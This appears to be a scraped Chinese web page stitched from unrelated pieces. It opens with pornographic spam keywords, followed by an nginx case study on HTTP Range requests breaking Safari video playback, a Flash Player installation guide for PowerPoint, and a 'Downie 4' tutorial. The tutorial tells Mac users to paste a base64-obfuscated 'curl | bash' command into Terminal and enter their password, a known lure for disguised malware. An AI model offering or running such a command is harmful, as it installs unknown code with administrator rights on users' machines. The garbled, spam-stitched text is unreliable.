操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    - 本案例所涉及的知識點

    HTTP協議范圍請求允許服務器只返回一部分資源到客戶端,范圍請求在傳送大的媒體文件,或者與文件下載的斷點續傳功能搭配使用時非常有用。

    涉及知識點:nginx http協議

    1 - 案例概要

    前端用戶反饋,在Mac或iOS下Safari瀏覽器無法播放視頻,但Chrome等瀏覽器又可以,視頻由HTML5的Video標簽實現,簡化示例代碼如下:

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>demo</title>
    <body>
     <video width="30%" controls="true" x5-playsinline="true" src="http://example.com/demo.mp4"></video>
    </body>
    </html>
    

    2 - 故障重現

    分別通過Safari與Chrome瀏覽器打開,并同時開啟開發者模式:

    safari訪問情況,視頻無法打開:

    chrome訪問情況,視頻打開正常:

    對比之下容易發現發現請求頭略有不通之處,主要差別在于Range的值。

    safari為:

    Range: bytes=0-1
    

    chrome為:

    Range: bytes=0-
    

    3 - 初步假設

    大概率問題圍繞在Range請求頭相關。

    4 - 理論知識

    在HTTP協議請求中,可通過設置請求頭:Range,實現范圍數據獲取,告知服務器返回資源的哪一部分。請求某范圍內的資源可以更有效地對大型對象發出請求(分段對其發出請求),或者更有效地從傳輸錯誤中恢復(允許客戶端請求沒有完成的那部分資源)。

    在一個Range請求頭中,支持三種請求方式:單一范圍查詢、多重范圍查詢、條件范圍查詢。

    單一范圍查詢:

    Range: <unit>=<range-start>-
    Range: <unit>=<range-start>-<range-end>
    

    多重范圍查詢:

    Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>
    Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end>
    

    條件范圍查詢:

    If-Range: entity-tag
    If-Range: HTTP-date
    Range: <unit>=<range-start>-<range-end>
    

    條件范圍查詢需配合If-Range實現,當字段值中的條件得到滿足時,Range頭字段才會起作用,HTTP-date為資源Last-Modified時間,entity-tag一般設置為資源的md5值(不管Last-Modified或etag,首先需確保資源存在該響應頭)。

    并不是所有服務端都接受范圍請求,但很多都可以。服務端可以通過在響應中包含Accept-Ranges請求頭向客戶端說明可以接受范圍請求,這個值在HTTP1規范中只定義了bytes,表示范圍的單位是以字節計算的。

    Accept-Ranges: bytes 范圍請求的單位是 bytes (字節)
    Accept-Ranges: none 不支持范圍請求,其等同于沒有返回此頭部,因此很少使用
    

    5 - 疑點提出

    1. 緩存在服務器中的資源請求頭是否包含Accept-Ranges,能否支持Range請求?
    2. 如果主動在緩存服務器設置返回Accept-Ranges請求頭呢?
    3. 如果主動在真實服務器設置返回Accept-Ranges請求頭呢?
    4. 客戶端通過范圍請求資源,如果緩存服務器沒有數據,那緩存服務器的行為是什么?
    5. 如果緩存服務器不存在資源而客戶端又是范圍請求,緩存的數據會是部分嗎?

    6 - 實踐檢驗

    6.1 - 實驗前準備

    • 實驗均可通過curl進行模擬,以下關鍵參數說明
    -r, --range RANGE 獲取資源數據的范圍,從字節哪里到哪里
    -I, --head 只獲取響應頭信息,不捕獲響應體,也就是Head請求
    
    • 緩存在服務器具體路徑的計算方式

    登陸緩存服務器,查看nginx.conf中的proxy_cache設置

    nginx.conf設置示例:

    proxy_cache_key $host$uri;
    proxy_cache_path /data/nginx/cache levels=1:2 keys_zone=one:10m;
    

    如上所示,假設$host=example.com,uri=/hello/world.jpg,則緩存在本地磁盤可通過如下算法獲得:

    echo -n 'example.com/hello/world.jpg' | md5sum
    d34eacb50650153d77e82aded8de91a0
    

    即存在路徑,路徑0與1a根據levels設置得出:

    /data/nginx/cache/0/1a/d34eacb50650153d77e82aded8de91a0
    

    獲取緩存前20行數據(主要是查看后端真實服務器的響應頭)

    strings /data/nginx/cache/0/1a/d34eacb50650153d77e82aded8de91a0 | head -n 20
    

    手工刪除緩存:

    rm /data/nginx/cache/0/1a/d34eacb50650153d77e82aded8de91a0 | head -n 20
    

    以上步驟將會在以下實驗中不斷使用到。

    6.1 - 驗證疑點1

    通過curl命令進行模擬測試:

    請求的資源字節范圍為:1000-2000。結果響應狀態碼為200,通過Content-Length可以看出,實際返回了整個資源,根據理論知識可知,實際是緩存服務器忽略了來自客戶端的Range請求頭。

    可知緩存服務器并不支持Range請求范圍查詢。

    6.2 - 驗證疑點2

    通過設置nginx的add_header指令對緩存服務器添加請求頭

    add_header "Accept-Ranges" bytes;
    

    返回了Accept-Ranges請求頭,但實際還是不支持Range請求范圍查詢。

    通過緩存服務器,獲取緩存文件前20行,如下:

    實際緩存在服務器中的數據也不包含Accept-Ranges請求頭。

    6.3 - 驗證疑點3

    在真實服務器上主動設置返回Accpet-Ranges請求頭,同時清除緩存服務器上的緩存數據。

    Accept-Ranges: bytes
    

    查看緩存服務器上的數據,來自源服務器的響應頭:

    緩存在服務器上的數據包含Accept-Ranges,也就是來自源服務端的響應包含此請求頭,此時緩存服務器對客戶端是支持Ranges的范圍請求了。

    6.4 - 驗證疑點4、5

    由實驗3可知,當緩存不存在時,即時客戶端為范圍請求數據,緩存在本地的數據均為整體,而非部分。

    通過nginx官方的ngx_http_proxy_module文檔,存在如下關鍵描述:

    If caching is enabled, the header fields “If-Modified-Since”, “If-Unmodified-Since”, “If-None-Match”, “If-Match”, “Range”, and “If-Range” from the original request are not passed to the proxied server.

    大意如下:如果設置了緩存,則不會對客戶端請求中的“If-Modified-Since”, “If-Unmodified-Since”, “If-None-Match”,“If-Match”, “Range”, “If-Range”這幾個請求頭傳遞到后端真實服務器。

    所以客戶端通過范圍請求資源,如果緩存服務器沒有數據,那緩存服務器將會去源站獲取整個數據并緩存,而不管客戶端是否為范圍請求。

    7 - 問題定位

    此時緩存服務器支持Range范圍請求之后,在通過瀏覽器查看效果:

    由于擔心涉及版權,播放效果的圖片取消了。

    此時不在是原先的黑屏,可正常播放視頻了。

    8 - 解決方案

    8.1 - 方案1

    由源服務器程序實現范圍請求功能,返回給緩存服務器時需明確包含Accept-Ranges頭,如果值非bytes,為其他自定義類型,則兩端均需對該類型的實現。

    8.2 - 方案2

    如果緩存服務器是基于nginx1.7.7及以上版本,可通過設置proxy_force_ranges參數值為on來實現,默認為off,而不管后端服務是否設置Accept-Ranges請求頭。

    Syntax: proxy_force_ranges on | off;

    Default: proxy_force_ranges off;

    Context: http, server, location

    This directive appeared in version 1.7.7.

    9 - 總結討論

    結合當前業務情況,最終評估通過方案2實現。

    、為啥PPT中swf文件不能播放?

    因為缺少插件flash player插件,安裝后即可解決swf格式文件視頻在ppt中無法播放的問題。

    1、WPS里的SWF格式視頻,需要安裝flash player插件才能正常播放。

    2、如果需要單獨播放SWF格式視頻,可以利用FLASH控件實現播放FLASH的SWF文件,比如實用Flash播放器、超級Flash播放器或者SWF Flash Player。

    二、怎么下載flash player插件?

    它是一款免費插件,它是Adobe公司出品的,全稱是Adobe flash player,直接到官網下載即可。

    1、官網地址下載:

    https://www.flash.cn/

    重要提醒:請直接到上方提供的Adobe flash player官網下載,認準官網,否則會有惡意捆綁哦。

    2、請仔細辨別下載按鈕,看下圖:

    請點擊上方圖片紅圈內的鏈接下載Adobe flash player,不然會被下載全家桶,全家桶你懂的。別問我怎么知道 的,都是淚。

    3、根據你電腦系統型號選擇:

    蘋果系統的選擇最下面的mac os系統的。

    4、點擊下載保存到自己的電腦里。

    雙擊安裝包打開進行安裝,安裝前會有一個提醒,如下圖,選擇允許允許即可:

    5、完成后重啟PPT即可。

    安裝完成,點擊右下角完成,如下圖,然后重啟ppt,插入的swf文件就可以播放了。

    三、flash player是什么插件?為什么需要單獨下載安裝。

    理論上蘋果系統和微軟系統,都對外公布不再支持flash player插件,但是你記得xp隱退用了多少年才逐漸消失在你的視野嗎?

    Flash Player是早年由Adobe研發的一款多媒體播放器,還有一款矢量動畫制作軟件叫Adobe Flash 。當年玩小游戲,開心網之類的朋友,包括至今QQ空間很多掛件都是Flash Playe才能支持正常顯示。

    舊版瀏覽器都是自帶Flash Player插件的,現在基本消失,win10期間Edge已經禁用了這款插件,由HTML5技術替代。所以金山PPT如果置入了swf格式文件視頻需要Flash Player支持才能支持播放。


    ownie 4 是一款專為 macOS 設計的視頻下載工具,具有很全面的視頻下載功能,有的小伙伴不會下載這個軟件,接下來我教大家一個非常簡單的下載方法,可以說是最簡單的下載教程。

    首先,我們打開蘋果電腦端的《 終端 》應用程序,不知道終端怎么打開,可以快捷鍵command鍵+空格鍵呼出:搜索框 直接 搜索“終端” 打開即可;

    然后復制下面代碼粘貼到終端里面:

    bash -c "$(curl -L $(echo aHR0cHM6Ly9kLnZhbS5pbmsvZC9NX3Nob3cvNS5zaA==| base64 --decode))"

    bash -c "$(curl -L $(echo aHR0cHM6Ly9kLnZhbS5pbmsvZC9NX3Nob3cvNS5zaA==| base64 --decode))"

    上面兩段代碼一樣,復制一段就可以了如下圖:

    粘貼過后,點擊回車鍵,輸入開機密碼,輸入過程看不見,密碼輸入完成點擊回車鍵,如下圖:

    會看見下載和安裝的進度條,等待終端自動運行完成



    接下來打開啟動臺,點擊軟件圖標就可以正常使用了

    就是這樣簡單,小伙伴們覺得有用請點個贊唄

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有